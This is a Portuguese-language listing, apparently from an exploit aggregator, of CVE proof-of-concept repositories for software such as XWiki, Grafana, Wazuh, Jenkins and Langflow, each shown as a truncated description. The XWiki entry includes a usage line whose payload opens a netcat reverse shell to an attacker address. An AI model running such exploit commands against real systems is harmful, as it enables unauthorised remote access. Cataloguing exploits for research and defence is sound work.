cve-2025-55182-scanner

CVE-2025-55182 Indicator Scanner Este repositório fornece um scanner baseado em Python para indicadores de comprometimento relacionados ao CVE-2025-55182 RCE em React Server Components e ao malware multi-estágio específico descrito no relatório de incidente da Asleepace. Ele foi projetado para se...

CVE-2025-5688-FreeRTOS-Plus-TCP-Out-of-Bounds-Write

CVE-2025-5688 – Exploit de Escrita Fora dos Limites no FreeRTOS-Plus-TCP Corrupção remota de memória / DoS / possível gatilho de RCE no FreeRTOS-Plus-TCP ao processar nomes DNS excessivamente longos em consultas LLMNR ou mDNS Buffer Allocation Scheme 1. Autor do Exploit: Mohammed Idrees Banyamer...

CVE-2024-51568---CyberPanel-Command-Injection-Nuclei-Template

CVE-2024-51568 - PoC de Injeção de Comandos no CyberPanel Um ambiente de prova de conceito e template de Nuclei para testar o CVE-2024-51568, uma vulnerabilidade crítica de injeção de comandos pré-autenticação no CyberPanel. Detalhes da Vulnerabilidade CVE: CVE-2024-51568 Gravidade: Crítica CVSS...

CVE-2024-38856-Apache-OFBiz

CVE-2024-38856 — Apache OFBiz Documentação do repositório Propósito do repositório: documentação informativa sobre a CVE-2024-38856 autorização incorreta / RCE pré-autenticação no Apache OFBiz. Este repositório não contém código de exploit armamentizado. Destina-se somente a pesquisa defensiva,...

CVE-2025-59059-Misattributed-RCE-in-Apache-Ranger-Static-Analysis-Correction

CVE-2025-59059: RCE Atribuída Incorretamente no Apache Ranger — uma correção CVE: CVE-2025-59059 Versões afetadas: Apache Ranger "Vulnerabilidade de Execução Remota de Código em NashornScriptEngineCreator é relatada no Apache Ranger versões = 2.7.0." Isso está errado, ou pelo menos é enganoso...

CVE-2025-24016

Execução Remota de Código RCE no Wazuh - PoC Visão Geral da Vulnerabilidade Este repositório demonstra a vulnerabilidade de execução remota de código RCE no servidor Wazuh, introduzida por uma desserialização insegura no pacote wazuh-manager. A vulnerabilidade permite que atacantes remotos com...

cve-2025-55182-poc

CVE-2025-55182 React2Shell - Prova de Conceito Acadêmica ⚠️ AVISO: APENAS PARA USO EDUCACIONAL Este repositório contém código de exploração funcional para uma vulnerabilidade crítica CVSS 10.0. Destina-se estritamente a pesquisa acadêmica, análise de segurança e fins educacionais. Não utilize este...

CVE-2026-39808

🚨 Escape de Sandbox Root do FortiSandbox - CVE-2026-39808 🎯 Visão Geral Este repositório contém uma Prova de Conceito limpa e bem documentada para CVE-2026-39808 — uma vulnerabilidade crítica de injeção de comandos não autenticada no Fortinet FortiSandbox que permite escape de sandbox e execução...

CVE-2025-55449-AstrBot-RCE

Introdução AstrBot=3.5.17 possui o JWT secret hardcoded no código-fonte, o que permite o upload arbitrário de plugins e leva à execução remota de código RCE. Uso root@kitploit: python main.py 'http://127.0.0.1:6185' Código-fonte https://github.com/AstrBotDevs/AstrBot.git...

CVE-2024-9264

CVE-2024-9264 Injeção de SQL DuckDB pós-autenticação no Grafana RCE, Leitura de Arquivos Prova de Conceito PoC Esta PoC demonstra a exploração do CVE-2024-9264 usando um usuário autenticado para realizar uma consulta SQL no DuckDB e ler um arquivo arbitrário no sistema de arquivos ou executar...

CVE-2023-26039

CVE-2023-26039 Descrição O ZoneMinder é um aplicativo de software livre e de código aberto de circuito fechado de televisão CFTV para Linux que suporta câmeras IP, USB e analógicas. As versões anteriores a 1.36.33 e 1.37.33 contêm uma injeção de comandos do sistema operacional via daemonControl e...

CVE-2026-0740

CVE-2026-0740 Ninja Forms File Uploads = 3.3.26 - Upload Arbitrário de Arquivos Não Autenticado para RCE Exploit para CVE-2026-0740 descoberto por Selim Lanouar whattheslime. Para um aprofundamento técnico completo, leia o artigo completo no blog da Lexfo. Aviso Legal Este repositório é fornecido...

CVE-2023-43208

Vulnerabilidade de RCE no Mirth Connect CVE-2023-37679 e CVE-2023-43208 Este script de exploit e PoC foram escritos para uma análise aprofundada da CVE no vsociety. A CVE-2023-43208 é uma falha de segurança grave no NextGen Mirth Connect, uma ferramenta usada por hospitais e clínicas para...

cve-2019-11447

CVE-2019-11447 CutePHP Cute News 2.1.2 RCE PoC Alvo : 2.1.2 Este script PoC é baseado em uma implementação simples do exploit original por BobbySox. O exploit original é um módulo MSF por Akuss. Este script precisa do endereço IP ou domínio do alvo juntamente com as credenciais e fará login...

ApacheStruts-CVE-2018-11776

Apache Struts CVE-2018-11776 Python PoC Isto é baseado em https://github.com/hook-s3c/CVE-2018-11776-Python-PoC. A criação do contêiner e as instruções não funcionaram conforme descrito no README, então este fork foi criado. O exploit PoC utilizado é da Rapid7. Agradecimentos: hook-s3c...

CVE-2026-33017

🚨 CVE-2026-33017 - Execução Remota de Código Crítica não Autenticada no Langflow Langflow versões ≤ 1.8.2 contêm uma grave vulnerabilidade de segurança que permite que atacantes não autenticados obtenham Execução Remota de Código RCE no servidor. 📊 Detalhes da Vulnerabilidade...

ClearML-CVE-2024-24590-RCE

Clearml-CVE-2024-24590 CVE-2024-24590 é uma vulnerabilidade que pode ser explorada quando há desserialização inadequada no lado do servidor, neste caso, Clearml. Quando um atacante cria um arquivo Pickle malicioso, ele pode executar código arbitrário na vítima que desserializa o arquivo Pickle, o...

CVE-2025-24893

CVE-2025-24893 Exploit de Execução Remota de Código para XWiki para versões anteriores a 15.10.11, 16.4.1 e 16.5.0RC1. Uso root@kitploit: $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Use apenas para fins éticos :...

CVE-2024-23897-Vulnerabilidad-Jenkins

Exploração da Vulnerabilidade CVE-2024-23897 no Jenkins Descrição da Vulnerabilidade: CVE-2024-23897 CVE-2024-23897 é uma vulnerabilidade crítica descoberta no Jenkins, uma ferramenta popular de integração contínua. Essa vulnerabilidade permite a execução remota de comandos RCE no servidor Jenkin...

CVE-2018-17179-OpenEMR

CVE-2018-17179-OpenEMR ⚠️ Aviso Este repositório é destinado estritamente a fins educacionais e de pesquisa. As informações e o código fornecidos aqui podem ser usados em ambientes controlados , como máquinas de laboratório privadas. O uso não autorizado deste código contra sistemas que você não...